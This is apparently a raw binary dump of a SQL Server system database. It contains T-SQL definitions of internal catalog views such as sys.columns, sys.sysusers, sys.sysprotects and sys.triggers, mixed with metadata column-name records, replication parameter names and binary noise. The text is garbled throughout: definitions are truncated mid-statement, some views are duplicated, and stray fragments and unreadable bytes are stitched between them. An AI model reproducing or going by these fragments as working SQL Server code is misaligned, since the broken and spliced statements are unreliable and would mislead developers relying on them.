	SELECT @cmd = N'INSERT INTO ' + quotename(@database) + N'.dbo.MetadataCapture_Log(MsgType, MsgTypeID, Time, Message) VALUES(''' + REPLACE(@MessageType, '''', '''''') + N''', ' 
	              + CONVERT(NVARCHAR(10),@MessageTypeID) + N', ''' + CONVERT(NVARCHAR(30),GETDATE()) + N''', ''' + REPLACE(@Message, '''', '''''') + N''')'
	
	EXEC @retcode = sys.sp_executesql @cmd
    
	RETURN(0)
	
END


	&	3	nj@j`,<7t;0k@ 8CREATE VIEW sys.system_columns$ AS
	SELECT id AS object_id, name, colid AS column_id,
		xtype AS system_type_id, utype AS user_type_id,
		length AS max_length, prec AS precision, scale,
		sysconv(bit, 1 - (status & 1)) AS is_nullable,
		sysconv(bit, status & 2) AS is_ansi_padded,
		sysconv(bit, 0) AS is_rowguidcol,
		sysconv(bit, 0) AS is_identity,
		sysconv(bit, 0) AS is_computed,
		sysconv(bit, 0) AS is_filestream,
		sysconv(bit, 0) AS is_replicated,
		sysconv(bit, 0) AS is_non_sql_subscribed,
		sysconv(bit, 0) AS is_merge_published,
		sysconv(bit, 0) AS is_dts_replicated,
		sysconv(bit, 0) AS is_xml_document,
		sysconv(int, 0) AS xml_collection_id,
		sysconv(int, 0) AS default_object_id,
		sysconv(int, 0) AS rule_object_id,
		sysconv(bit, 0) AS is_sparse,
		sysconv(bit, 0) AS is_column_set
	FROM sys.syscolpars
	WHERE number = 0 AND (status & 4096) = 4096
0t@ a8-- Note: gid (max group id) not maintained, shiloh logic not correct anyway
--
CREATE VIEW sys.sysusers AS
	SELECT uid = convert(smallint, u.id),
		status = convert(smallint, case u.type
			when 'U' then 12 when 'G' then 4 when 'A' then 32 else 0 end),
		u.name, u.sid,
		roles = convert(varbinary(2048), null),
		createdate = u.created,
		updatedate = u.modified,
		altuid = convert(smallint, r.indepid),
		password = convert(varbinary(256), null),
		gid = convert(smallint, case u.type when 'R' then u.id else 0 end),
		environ = convert(varchar(255), null),
		hasdbaccess = convert(int, case when p.state in ('G','W') then 1 else 0 end),
		islogin = convert(int, case u.type when 'A' then 0 when 'R' then 0 else 1 end),
		isntname = convert(int, case u.type when 'U' then 1 when 'G' then 1 else 0 end),	-- USR_SID_EXTERNAL
		isntgroup = convert(int, case u.type when 'G' then 1 else 0 end),
		isntuser = convert(int, case u.type when 'U' then 1 else 0 end),	-- USR_SID_EXTERNAL
		issqluser = convert(int, case u.type when 'S' then 1 else 0 end),
		isaliased = convert(int, 0),   -- Aliases were deprecated and removed
		issqlrole = convert(int, case u.type when 'R' then 1 else 0 end),
		isapprole = convert(int, case u.type when 'A' then 1 else 0 end)
	FROM sys.sysowners u
	LEFT JOIN sys.sysprivs p ON p.class = 0 AND p.id = 0 AND p.subid = 0 AND p.grantee = u.id AND p.grantor = 1 AND p.type = 'CO'
	LEFT JOIN sys.syssingleobjrefs r ON r.depid = u.id AND r.depsubid = 0 AND r.class = case u.type when 'R' then 51 end -- SRC_ROLEOWNER
	WHERE has_access('US', u.id) = 1
0r@ 8CREATE VIEW sys.sysfilegroups AS
	SELECT
		groupid = convert(smallint, data_space_id & 0x7fff),
		allocpolicy = convert(smallint, 0),
		status = convert(int, is_default * 16 + is_read_only * 8),
		groupname = name
	FROM sys.filegroups
0s@ 8CREATE VIEW sys.sysmembers AS
	SELECT
		memberuid = convert(smallint, member_principal_id),
		groupuid = convert(smallint, role_principal_id)
	FROM sys.database_role_members
0q@ t8CREATE VIEW sys.sysfiles AS
	SELECT
		fileid = convert(smallint, fileid & 0x7fff),
		groupid = convert(smallint, grpid),
		size = isnull(FilePropertyById(fileid, 'size'), size),
		maxsize, growth,
		status = convert(int,
					case filetype when 1 then 66 else 2 end  -- x_eft_SQLLog, FCB_LOG_DEVICE, FCB_DSK_DEVICE
					+ (status & 8) * 2 -- FCB_READONLY_MEDIA
					+ (status & 16) * 256 -- FCB_READONLY
					+ case filestate when 6 then 268435456 else 0 end -- OFFLINE, FCB_OFFLINE
					+ (status & 256) * 2097152 -- FCB_SPARSE_FILE
					+ (status & 32) * 32768), -- FCB_PERCENT_GROWTH
		perf = convert(int, 0),
		name = lname,
		filename = pname
	FROM sys.sysprufiles
	WHERE filetype IN (0, 1) -- x_eft_SQLData, x_eft_SQLLog (bwkcmpt types)
		AND filestate NOT IN (1, 2, 3) -- x_efs_Dummy, x_efs_Dropped, x_efs_DroppedReusePending
0l@ 68CREATE VIEW sys.obd_state AS
	SELECT convert(sysname, c.name) AS component_name,
		s.name AS schema_name,
		o.name AS object_name,
		convert(tinyint, convert(int, c.value) & 1) AS state,
		o.type
	FROM sys.sysobjkeycrypts k
	JOIN sys.sysschobjs o ON o.id = k.id
	JOIN master.sys.sysxlgns l ON l.type = 'M' AND substring(l.sid, 13, 28) = k.thumbprint
	JOIN master.sys.configurations c ON c.name = substring(l.name, 3, len(l.name) - 4)
	LEFT JOIN sys.schemas s ON s.schema_id = o.nsid
	WHERE k.class = 1 AND k.type = 'INCP'
4, r.rkey5, r.rkey6, r.rkey7, r.rkey8,
		r.rkey9, r.rkey10, r.rkey11, r.rkey12, r.rkey13, r.rkey14, r.rkey15, r.rkey16
	FROM sys.foreign_keys f OUTER APPLY OpenRowset(TABLE SYSREF, f.object_id) r
0s@ 8CREATE VIEW sys.sysmembers AS
	SELECT
		memberuid = convert(smallint, member_principal_id),
		groupuid = convert(smallint, role_principal_id)
	FROM sys.database_role_members
0w@ 8CREATE VIEW sys.sysprotects AS
	SELECT id = major_id,
		uid = convert(smallint, grantee_principal_id),
		action = convert(tinyint, case type
			when 'IN' then 195 when 'DL' then 196 when 'EX' then 224
			when 'CRFN' then 178 when 'CRTB' then 198 when 'CRDB' then 203
			when 'CRVW' then 207 when 'CRPR' then 222  when 'BADB' then 228
			when 'CRDF' then 233 when 'BALO' then 235 when 'CRRU' then 236 end),
		protecttype = convert(tinyint, case state
			when 'W' then 204 when 'G' then 205 when 'D' then 206 end),
		columns = convert(varbinary(4000), null),
		grantor = convert(smallint, grantor_principal_id)
	FROM sys.database_permissions
	WHERE class < 2 AND minor_id = 0 AND (type in ('IN','DL','EX') OR charindex(type, 'CRFNCRTBCRDBCRVWCRPRBADBCRDFBALOCRRU')%4 > 0)
	UNION ALL
	SELECT id = c.major_id,
		uid = convert(smallint, c.grantee_principal_id),
		action = convert(tinyint, case c.type
			when 'RF' then 26 when 'SL' then 193 when 'UP' then 197 end),
		protecttype = convert(tinyint, case o.state
			when 'W' then 204 when 'G' then 205 when 'D' then 206 end),
		columns = PowerSum(c.minor_id),
		grantor = convert(smallint, c.grantor_principal_id)
	FROM sys.database_permissions c
	JOIN sys.database_permissions o
		ON o.class = 1 and o.major_id = c.major_id and o.minor_id = 0
			and o.grantee_principal_id = c.grantee_principal_id
			and o.grantor_principal_id = c.grantor_principal_id
			and o.type = c.type and o.state <> 'R'
	WHERE c.class = 1 AND c.type in ('RF','SL','UP')
	GROUP BY c.major_id, c.grantee_principal_id, c.grantor_principal_id, c.type, o.state
	UNION ALL
	SELECT id = major_id,
		uid = convert(smallint, grantee_principal_id),
		action = convert(tinyint, case type
			when 'RF' then 26 when 'SL' then 193 when 'UP' then 197 end),
		protecttype = convert(tinyint, case state
			when 'W' then 204 when 'G' then 205 when 'D' then 206 end),
		columns = PowerSum(minor_id),
		grantor = convert(smallint, grantor_principal_id)
	FROM sys.database_permissions
	WHERE class = 1 AND minor_id <> 0 AND state <> 'R'
	GROUP BY major_id, grantee_principal_id, grantor_principal_id, type, state
0x@ 8CREATE VIEW sys.syspermissions AS
	SELECT
		id = major_id,
		grantee = convert(smallint, grantee_principal_id),
		grantor = convert(smallint, grantor_principal_id),
		actadd = convert(smallint, null),
		actmod = convert(smallint, null),
		seladd = convert(varbinary(4000), null),
		selmod = convert(varbinary(4000), null),
		updadd = convert(varbinary(4000), null),
		updmod = convert(varbinary(4000), null),
		refadd = convert(varbinary(4000), null),
		refmod = convert(varbinary(4000), null)
	FROM sys.database_permissions
	WHERE class in (0, 1)
	GROUP BY class, major_id, grantee_principal_id, grantor_principal_id
SELECT
		memberuid = convert(smallint, member_principal_id),
		groupuid = convert(smallint, role_principal_id)
	FROM sys.database_role_members
 'CO'
	LEFT JOIN sys.syssingleobjrefs r ON r.depid = u.id AND r.depsubid = 0 AND r.class = case u.type when 'R' then 51 end -- SRC_ROLEOWNER
	WHERE has_access('US', u.ido]
B`<
k-u0y@ K8CREATE VIEW sys.columns AS
	SELECT id AS object_id,
		name, colid AS column_id,
		xtype AS system_type_id,
		utype AS user_type_id,
		length AS max_length,
		prec AS precision, scale,
		convert(sysname, CollationPropertyFromId(collationid, 'name')) AS collation_name,
		sysconv(bit, 1 - (status & 1)) AS is_nullable,		-- CPM_NOTNULL
		sysconv(bit, status & 2) AS is_ansi_padded,		-- CPM_NOTRIM
		sysconv(bit, status & 8) AS is_rowguidcol,			-- CPM_ROWGUIDCOL
		sysconv(bit, status & 4) AS is_identity,			-- CPM_IDENTCOL
		sysconv(bit, status & 16) AS is_computed,			-- CPM_COMPUTED
		sysconv(bit, status & 32) AS is_filestream,			-- CPM_FILESTREAM
		sysconv(bit, status & 0x020000) AS is_replicated,			-- CPM_REPLICAT
		sysconv(bit, status & 0x040000) AS is_non_sql_subscribed,	-- CPM_NONSQSSUB
		sysconv(bit, status & 0x080000) AS is_merge_published,	-- CPM_MERGEREPL
		sysconv(bit, status & 0x100000) AS is_dts_replicated,	-- CPM_REPLDTS
		sysconv(bit, status & 2048) AS is_xml_document,		-- CPM_XML_DOC 
		xmlns AS xml_collection_id,
		dflt AS default_object_id,
		chk AS rule_object_id,
		sysconv(bit, status & 0x1000000) AS is_sparse,	-- CPM_SPARSE
		sysconv(bit, status & 0x2000000) AS is_column_set	-- CPM_SPARSECOLUMNSET
	FROM sys.syscolpars
	WHERE number = 0 AND has_access('CO', id) = 1
0z@ H8CREATE VIEW sys.system_views AS
	SELECT name, object_id, principal_id, schema_id, parent_object_id,
		type, type_desc, create_date, modify_date,
		is_ms_shipped, is_published, is_schema_published,
		sysconv(bit, 0) AS is_replicated,
		sysconv(bit, 0) AS has_replication_filter,
		sysconv(bit, 0) AS has_opaque_metadata,
		sysconv(bit, 0) AS has_unchecked_assembly_data,
		sysconv(bit, 0) AS with_check_option,
		sysconv(bit, 0) as is_date_correlation_view,
		sysconv(bit, 0) as is_tracked_by_cdc
	FROM sys.system_objects
	WHERE type = 'V'
0{@ $8CREATE VIEW sys.system_objects AS
	SELECT o.name,
		o.id AS object_id,
		convert(int, null) AS principal_id,
		o.nsid AS schema_id,
		convert(int, 0) AS parent_object_id,
		o.type,
		n.name AS type_desc,
		o.created AS create_date,
		o.modified AS modify_date,
		convert(bit, 1) AS is_ms_shipped,
		convert(bit, 0) AS is_published,
		convert(bit, 0) AS is_schema_published
	FROM sys.sysschobjs o
	LEFT JOIN sys.syspalnames n ON n.class = 'OBTY' AND n.value = o.type
	WHERE has_access('SO', o.id) = 1
0}@ 8CREATE VIEW sys.views AS
	SELECT name, object_id, principal_id, schema_id, parent_object_id,
		type, type_desc,
		create_date, modify_date,
		is_ms_shipped, is_published, is_schema_published,
		is_replicated, has_replication_filter, has_opaque_metadata,
		has_unchecked_assembly_data, with_check_option,
		is_auto_dropped as is_date_correlation_view,
		is_tracked_by_cdc
	FROM sys.objects$
	WHERE type = 'V'
0~@ 8CREATE VIEW sys.tables AS
	SELECT o.name, o.object_id, o.principal_id, o.schema_id, o.parent_object_id,
		o.type, o.type_desc, o.create_date, o.modify_date,
		o.is_ms_shipped, o.is_published, o.is_schema_published,
		isnull(ds.indepid, 0) AS lob_data_space_id,
		rfs.indepid AS filestream_data_space_id,
		o.property AS max_column_id_used,
		o.lock_on_bulk_load, o.uses_ansi_nulls, o.is_replicated, o.has_replication_filter,
		o.is_merge_published, o.is_sync_tran_subscribed, o.has_unchecked_assembly_data,
		lob.intprop AS text_in_row_limit,
		o.large_value_types_out_of_row,
		o.is_tracked_by_cdc,
		o.lock_escalation_option AS lock_escalation,
		ts.name AS lock_escalation_desc,
		o.is_filetable
	FROM sys.objects$ o
	LEFT JOIN sys.sysidxstats lob ON lob.id = o.object_id AND lob.indid <= 1
	LEFT JOIN sys.syssingleobjrefs ds ON ds.depid = o.object_id AND ds.class = 8 AND ds.depsubid <= 1	-- SRC_INDEXTOLOBDS	
	LEFT JOIN sys.syssingleobjrefs rfs ON rfs.depid = o.object_id AND rfs.class = 42 AND rfs.depsubid = 0	-- SRC_OBJTOFSDS
	LEFT JOIN sys.syspalvalues ts ON ts.class = 'LEOP' AND ts.value = o.lock_escalation_option
	WHERE o.type = 'U'
0|@ 8CREATE VIEW sys.extended_procedures AS
	SELECT o.name, o.object_id, o.principal_id, o.schema_id, o.parent_object_id,
		o.type, o.type_desc, o.create_date, o.modify_date,
		o.is_ms_shipped, o.is_published, o.is_schema_published,
		dll_name = convert(nvarchar(260), v.value)
	FROM sys.objects$ o
	LEFT JOIN sys.sysobjvalues v ON v.valclass = 5 AND v.objid = o.object_id AND v.subobjid = 0 AND v.valnum = 0	-- SVC_XPDLLNAME
	WHERE o.type = 'X '

`<_G)0`@ 8CREATE VIEW sys.sql_modules AS
	SELECT object_id = o.id,
		definition = object_definition(o.id),
		uses_ansi_nulls = sysconv(bit, o.status & 0x40000), 			-- OBJMOD_ANSINULLS
		uses_quoted_identifier = sysconv(bit, o.status & 0x80000), 		-- OBJMOD_QUOTEDIDENT
		is_schema_bound = sysconv(bit, o.status & 0x20000), 			-- OBJMOD_SCHEMABOUND
		uses_database_collation = sysconv(bit, o.status & 0x100000), 	-- OBJMOD_USESDBCOLL
		is_recompiled = sysconv(bit, o.status & 0x400000), 				-- OBJMOD_NOCACHE
		null_on_null_input = sysconv(bit, o.status & 0x200000), 		-- OBJMOD_NULLONNULL
		execute_as_principal_id = x.indepid
	FROM sys.sysschobjs o
	LEFT JOIN sys.syssingleobjrefs x ON x.depid = o.id AND x.class = 22 AND x.depsubid = 0 -- SRC_OBJEXECASOWNER
	WHERE o.pclass <> 100 -- x_eunc_Server
		AND ((o.type = 'TR' AND has_access('TR', o.id, o.pid, o.nsclass) = 1)
			OR (type IN ('P','V','FN','IF','TF','RF','IS') AND has_access('CO', o.id) = 1)
			OR (type IN ('R','D') AND o.pid = 0))
			
0a@ 8CREATE VIEW sys.trigger_events AS
	SELECT ee.object_id AS object_id,
		ee.event_id AS type,
		ee.event_desc AS type_desc,
		sysconv(bit, convert(int, e.value) & 1) AS is_first,	-- TRG_FIRSTFIRED
		sysconv(bit, convert(int, e.value) & 2) AS is_last,	-- TRG_LASTFIRED
		ee.group_id AS event_group_type,
		ee.group_desc AS event_group_type_desc,
		convert(bit, 1) AS is_trigger_event
	FROM sys.sysobjvalues e
	CROSS APPLY openrowset( TABLE EXPAND_EVENTS, e.objid, e.subobjid, 
		case when (e.valclass = 70 AND convert(int, e.value) & 4 != 4)	-- is user created trigger?
			then 1 else 0 end) ee
	WHERE e.valclass = 70 AND e.valnum <> 100	-- x_eunc_Server
		AND has_access('CO', e.objid) = 1	-- SVC_EXTTRIGEVT
', objid) = 1
0j@ 8
CREATE VIEW sys.key_constraints AS
	SELECT o.name, o.object_id, o.principal_id, o.schema_id, o.parent_object_id,
		o.type, o.type_desc, o.create_date, o.modify_date,
		o.is_ms_shipped, o.is_published, o.is_schema_published,
		r.indepid AS unique_index_id,
		o.is_system_named
	FROM sys.objects$ o
	LEFT JOIN sys.syssingleobjrefs r ON r.depid = o.object_id
	WHERE o.type IN ('PK', 'UQ')
0i@ 8CREATE VIEW sys.check_constraints AS
	SELECT name, object_id, principal_id, schema_id, parent_object_id,
		type, type_desc, create_date, modify_date,
		is_ms_shipped, is_published, is_schema_published,
		is_disabled, is_not_for_replication, is_not_trusted,
		property AS parent_column_id,
		object_definition(object_id) AS definition,
		uses_database_collation, is_system_named
	FROM sys.objects$
	WHERE type = 'C '
0h@ 8CREATE VIEW sys.default_constraints AS
	SELECT name, object_id, principal_id, schema_id, parent_object_id,
		type, type_desc, create_date, modify_date,
		is_ms_shipped, is_published, is_schema_published,
		property AS parent_column_id,
		object_definition(object_id) AS definition,
		is_system_named
	FROM sys.objects$
	WHERE type = 'D ' AND parent_object_id > 0
0g@ 8CREATE VIEW sys.foreign_keys AS
	SELECT o.name, o.object_id, o.principal_id, o.schema_id, o.parent_object_id,
		o.type, o.type_desc, o.create_date, o.modify_date,
		o.is_ms_shipped, o.is_published, o.is_schema_published,
		f.indepid AS referenced_object_id,
		f.indepsubid AS key_index_id,
		o.is_disabled, o.is_not_for_replication, o.is_not_trusted,
		o.delete_referential_action,	-- ERefAct
		d.name AS delete_referential_action_desc,
		o.update_referential_action,	-- ERefAct
		u.name AS update_referential_action_desc,
		o.is_system_named
	FROM sys.objects$ o
	LEFT JOIN sys.syssingleobjrefs f ON f.depid = o.object_id AND f.class = 27 AND f.depsubid = 0	-- SRC_FK_REFD_INDEX
	LEFT JOIN sys.syspalvalues d ON d.class = 'FKRA' AND d.value = o.delete_referential_action
	LEFT JOIN sys.syspalvalues u ON u.class = 'FKRA' AND u.value = o.update_referential_action
	WHERE o.type = 'F '
0f@ 
8CREATE VIEW sys.foreign_key_columns AS
	SELECT constraint_object_id = p.depid,
		constraint_column_id = p.depsubid,
		parent_object_id = p.indepid,
		parent_column_id = p.indepsubid,
		referenced_object_id = r.indepid,
		referenced_column_id = r.indepsubid
	FROM sys.syssingleobjrefs p
	JOIN sys.syssingleobjrefs r ON r.depid = p.depid AND r.class = 29 AND r.depsubid = p.depsubid	-- SRC_FK_REFERD_COL
	WHERE p.class = 28 	-- SRC_FK_PARENT_COL
		AND has_access('CO', p.indepid) = 1
0e@ 8CREATE VIEW sys.procedures AS
	SELECT name, object_id, principal_id, schema_id, parent_object_id,
		type, type_desc, create_date, modify_date,
		is_ms_shipped, is_published, is_schema_published,
		is_auto_executed, is_execution_replicated,
		is_repl_serializable_only, skips_repl_constraints
	FROM sys.objects$
	WHERE type IN ('P ', 'X ', 'PC', 'RF')
0d@ a8CREATE VIEW sys.triggers AS
	SELECT o.name,
		object_id = o.id,
		parent_class = o.pclass,
		parent_class_desc = pc.name,
		parent_id = o.pid,
		type = o.type,
		type_desc = n.name,
		create_date = o.created,
		modify_date = o.modified,
		is_ms_shipped = sysconv(bit, o.status & 1), 		-- OBJALL_MSSHIPPED
		is_disabled = sysconv(bit, o.status & 256), 		-- OBJTRG_DISABLED
		is_not_for_replication = sysconv(bit, o.status & 512), 	-- OBJTRG_NOTFORREPL
		is_instead_of_trigger = sysconv(bit, o.status & 1024) 	-- OBJTRG_INSTEADOF
	FROM sys.sysschobjs o
	LEFT JOIN sys.syspalnames n ON n.class = 'OBTY' AND n.value = o.type
	LEFT JOIN sys.syspalvalues pc ON pc.class = 'UNCL' AND pc.value = o.pclass
	WHERE o.type IN ('TA','TR') AND o.pclass <> 100 -- x_eunc_Server
		AND has_access('TR', o.id, o.pid, o.nsclass) = 1
0c@ 8CREATE VIEW sys.event_notifications AS
	SELECT o.name,
		object_id = o.id,
		parent_class = o.pclass,
		parent_class_desc = pc.name,
		parent_id = o.pid,
		create_date = o.created,
		modify_date = o.modified,
		service_name = convert(nvarchar(256), v.value) COLLATE Latin1_General_BIN,
		broker_instance = convert(sysname, sb.value) COLLATE Latin1_General_BIN,
		creator_sid = convert(varbinary(85), cs.value),
		principal_id = r.indepid
	FROM sys.sysschobjs o
	LEFT JOIN sys.syssingleobjrefs r ON r.depid = o.id AND r.class = 97 AND r.depsubid = 0	-- SRC_OBJOWNER
	LEFT JOIN sys.sysobjvalues v ON v.valclass = 72 AND v.objid = o.id AND v.subobjid = 0 AND v.valnum = 0		-- SVC_ASYNTRGSVCNAME
	LEFT JOIN sys.sysobjvalues sb ON sb.valclass = 74 AND sb.objid = o.id AND sb.subobjid = 0 AND sb.valnum = 0	-- SVC_ASYNTRGBRKRINST
	LEFT JOIN sys.sysobjvalues cs ON cs.valclass = 75 AND cs.objid = o.id AND cs.subobjid = 0 AND cs.valnum = 0	-- SVC_ASYNTRGCTRSID
	LEFT JOIN sys.syspalvalues pc ON pc.class = 'UNCL' AND pc.value = o.pclass
	WHERE o.type = 'EN' AND o.pclass <> 100 -- x_eunc_Server
		AND has_access('TR', o.id, o.pid, o.nsclass) = 1
0b@ 8CREATE VIEW sys.events AS
	SELECT ee.object_id AS object_id,
		ee.event_id AS type,
		ee.event_desc AS type_desc,
		sysconv(bit, 71 - e.valclass) AS is_trigger_event,
		ee.group_id AS event_group_type,
		ee.group_desc AS event_group_type_desc
	FROM sys.sysobjvalues e
	CROSS APPLY openrowset( TABLE EXPAND_EVENTS, e.objid, e.subobjid, 
		case when (e.valclass = 70 AND convert(int, e.value) & 4 != 4) OR e.valclass = 71  -- is user created trigger?
			then 1 else 0 end) ee
	WHERE e.valclass in (70,71) AND e.valnum <> 100	-- x_eunc_Server
		AND has_access('CO', e.objid) = 1	-- SVC_EXTTRIGEVT, SVC_ASYNTRGEVT
np	
{!.n`-A)l0-=name0-88
Gobject_id0-88
Mprincipal_id0-88
Gschema_id0-88
Uparent_object_id0-=type0-xxGtype_desc0-==Kcreate_date0-	==Kmodify_date0-
hhOis_ms_shipped0-hhMis_published0-hh[is_schema_published0-88
Kdatabase_id0-==Oregister_date0-88
Oregistered_by0-4Cversion0-$$Egroup_id0-4=name0-$$Ireplica_id0-UUGowner_sid0-88
Winternal_group_id0-==Kcreate_date0-==Kmodify_date0-88
Eaudit_id0-4=name0-$$Iaudit_guid0-==Kcreate_date0-==Kmodify_date0-88
Mprincipal_id0-=type0-xxGtype_desc0-	00Ion_failure0-
xxSon_failure_desc0-hhUis_state_enabled0-88
Kqueue_delay0-
ppGpredicate0-Omax_file_size0-88
Ymax_rollover_files0-88
Gmax_files0-hhYreserve_disk_space0-Olog_file_path0-Olog_file_name0-88
cserver_specification_id0-4=name0-==Kcreate_date0-==Kmodify_date0-$$Iaudit_guid0-hhUis_state_enabled0-88
cserver_specification_id0-Saudit_action_id0-xxWaudit_action_name0-00?class0-xxIclass_desc0-88
Emajor_id0-88
Eminor_id0-88
]audited_principal_id0-	xxQaudited_result0-
hhEis_group0-88
Cpool_id0-44Sprocessor_group0-Qscheduler_mask0-88
Kdatabase_id0-00_non_transacted_access0-xxinon_transacted_access_desc0-Qdirectory_name=name0-@@[credential_identity0-==Kcreate_date0-==Kmodify_date0-xxKtarget_type0-88
Gtarget_id0-88
Mprincipal_id0-88
Ocredential_id0-
88
Ocredential_id0-
$$Kfamily_guid0-88
Kprovider_id0-4=name0-$$=guid0-00Cversion0-Edll_path0-hhIis_enabled0-88
Eaudit_id0-4=name0-$$Iaudit_guid0-==Kcreate_date0-==Kmodify_date0-88
Mprincipal_id0-=type0-xxGtype_desc0-	00Ion_failure0-
xxSon_failure_desc0-hhUis_state_enabled0-88
Kqueue_delay0-
ppGpredicate0-88
Eaudit_id0-4=name0-$$Iaudit_guid0-==Kcreate_date0-==Kmodify_date0-88
Mprincipal_id0-=type0-xxGtype_desc0-	00Ion_failure0-
xxSon_failure_desc0-hhUis_state_enabled0-88
Kqueue_delay0-
ppUf

w
,
		;	jN	#

D

ER
.xsO
x)q 6Q
x1`-E)/
GUB0-y88
Gobject_id0-y=name0-y88
Gcolumn_id0-y00Qsystem_type_id0-y88
Muser_type_id0-y44Imax_length0-y00Gprecision0-y00?scale0-y	Qcollation_name0-y
hhKis_nullable0-yhhQis_ansi_padded0-yhhOis_rowguidcol0-y
hhKis_identity0-yhhKis_computed0-yhhOis_filestream0-yhhOis_replicated0-yhh_is_non_sql_subscribed0-yhhYis_merge_published0-yhhWis_dts_replicated0-yhhSis_xml_document0-y88
Wxml_collection_id0-y88
Wdefault_object_id0-y88
Qrule_object_id0-yhhGis_sparse0-yhhOis_column_set0-{=name0-{88
Gobject_id0-{88
Mprincipal_id0-{88
Gschema_id0-{88
Uparent_object_id0-{=type0-{xxGtype_desc0-{==Kcreate_date0-{	==Kmodify_date0-{
hhOis_ms_shipped0-{hhMis_published0-{hh[is_schema_published0-z=name0-z88
Gobject_id0-z88
Mprincipal_id0-z88
Gschema_id0-z88
Uparent_object_id0-z=type0-zxxGtype_desc0-z==Kcreate_date0-z	==Kmodify_date0-z
hhOis_ms_shipped0-zhhMis_published0-zhh[is_schema_published0-z
hhOis_replicated0-zhhahas_replication_filter0-zhh[has_opaque_metadata0-zhhkhas_unchecked_assembly_data0-zhhWwith_check_option0-zhheis_date_correlation_view0-zhhWis_tracked_by_cdc0-|=name0-|88
Gobject_id0-|88
Mprincipal_id0-|88
Gschema_id0-|88
Uparent_object_id0-|=type0-|xxGtype_desc0-|==Kcreate_date0-|	==Kmodify_date0-|
hhOis_ms_shipped0-|hhMis_published0-|hh[is_schema_published0-|
Edll_nameated0-zhhahas_replication_filter0-zhh[has_opaque_metadata0-zhhkhas_unchecked_assembly_data0-zhhWwith_check_option0-zhheis_date_correlation_view0-zhhWis_tracked_by_cdc0-~=name0-~88
Gobject_id0-~88
Mprincipal_id0-~88
Gschema_id0-~88
Uparent_object_id0-~=type0-~xxGtype_desc0-~==Kcreate_date0-~	==Kmodify_date0-~
hhOis_ms_shipped0-~hhMis_published0-~hh[is_schema_published0-~
88
Wlob_data_space_id0-~88
efilestream_data_space_id0-~88
Ymax_column_id_used0-~hhWlock_on_bulk_load0-~hhSuses_ansi_nulls0-~hhOis_replicated0-~hhahas_replication_filter0-~hhYis_merge_published0-~hhcis_sync_tran_subscribed0-~hhkhas_unchecked_assembly_data0-~88
Wtext_in_row_limit0-|=name0-|88
Gobject_Zu.U"

;
		l		<-qJS
n
'
N}ijgj4Y|+`-)M0-x=name0-x88
Gcolumn_id0-x00Qsystem_type_id0-x88
Muser_type_id0-x44Imax_length0-x00Gprecision0-x00?scale0-x	Qcollation_name0-x
hhKis_nullable0-xhhQis_ansi_padded0-xhhOis_rowguidcol0-x
hhKis_identity0-xhhKis_computed0-xhhOis_filestream0-xhhOis_replicated0-xhh_is_non_sql_subscrib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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!i"z#y r#>Q5`-D0)%T^0-նIvalidation0-նxxSvalidation_desc0-ն88
Wxml_collection_id0-C88
E@errorid0-CC@param10-CC@param20-M@publication0-88
A@found0-I@publisher0-88
Q@publicationid0-88
I@articleid0-88
O@command_type0-E@command0-I@publisher0-00Sfp2p_pub_exists0-88
Adb_ver0-Ycomp_range_address0-Utextinfo_address0-Qfsinfo_address0-040Gbegin_lsn0-040Icommit_lsn0-44=dbid0-	88
=rows0-
040Axdesid0-aartcache_table_address0-4Aserver0-
88
[server_len_in_bytes0-4Edatabase0-88
Sdb_len_in_bytes0-4Ioriginator0-88
coriginator_len_in_bytes0-4Corig_db0-88
]orig_db_len_in_bytes0-88
Mcmds_in_tran0-00iis_boundedupdate_singleton0-040Ubegin_update_lsn0-040Idelete_lsn0-040Mlast_end_lsn0-00Gfcomplete0-00Mfcompensated0-00Sfprocessingtext0-88
Umax_cmds_in_tran0-==Ibegin_time0-==Kcommit_time0-88
Isession_id0- 4Osession_phase0-!00Wis_known_cdc_tran0-"88
Kerror_count
C@spacer0-
00S@bOutput_params0-_^Q@source_object0-_^C@column0-_^88
K@from_agent0-_^@_@schema_change_script0-_^hhi@force_invalidate_snapshot0-_^hhi@force_reinit_subscription0-uK@subscriber0-uI@publisher0-$MI@publisher0-$MU@distribution_db0-$M88
Q@security_mode0-$MA@login0-$MG@password0-$MY@working_directory0-$M
E@trusted0-$Mhh[@encrypted_password0-$M	hhU@thirdparty_flag0-$M
S@publisher_type0-ЅK@table_name0-ЅM@table_owner0-I@publisher0-`4M@publication0-`4E@article0-M@publication0-88
A@found0-I@publisher-F 0-F E@command0-W88
A@artid0-W00C@format0-W00?@mode0-W00Q@publishertype0-WI@publisher0-WhhI@usesqlclr0-?@type0-A@value0-M@publication0-E@article0-44O@publisher_id0-O@publisher_db0-E@xact_id0-K@xact_seqno0-K@originator0-Q@originator_db0-88
K@article_id0-88
K@command_id0-	88
?@type0-
hhU@partial_command0-E@command0-I@publisher0-88
Q@publicationid0-88
I@articleid0-88
O@command_type0-E@command0-I@publisherY#F4

Q

`6
x
+
		(	GJ	FYlkS`=-()
!i0-=rsid0-88
Crscolid0-88
Chbcolid0-Ircmodified0-88
9ti0-88
;cid0-44Aordkey0-44Kmaxinrowlen0-	88
Astatus0-
88
Aoffset0-88
Cnullbit0-44Abitpos0-
Ccolguid0-Erowsetid0-00Gownertype0-88
Cidmajor0-88
Cidminor0-88
Cnumpart0-88
Astatus0-44Afgidfs0-Arcrows0-	00Gcmprlevel0-
00Efillfact0-44Imaxnullbit0-88
Cmaxleaf0-
44Amaxint0-44Cminleaf0-44Aminint0-Arsguid0-Clockres0-88
Escope_id0-88
9id0-88
?subid0-88
Apartid0-88
Cversion0-88
?segid0-88
Ccloneid0-Erowsetid0-88
Edbfragid0-	88
Astatus{
6
		o	,	s.i&YK
Ar1l!l#`-)!0-~hhmlarge_value_types_out_of_row0-~hhWis_tracked_by_cdc0-~00Slock_escalation0-~xx]lock_escalation_desc0-~hhMis_filetablew$`-)=	u0	N0-v88
Gobject_id0-v=name0-v88
Mparameter_id0-v00Qsystem_type_id0-v88
Muser_type_id0-v44Imax_length0-v00Gprecision0-v00?scale0-v	hhGis_output0-v
hhOis_cursor_ref0-vhhWhas_default_value0-vhhSis_xml_document0-v
bbPPOdefault_value0-v88
Wxml_collection_id0-vhhKis_readonly0-w88
Gobject_id0-w=name0-w88
Mparameter_id0-w00Qsystem_type_id0-w88
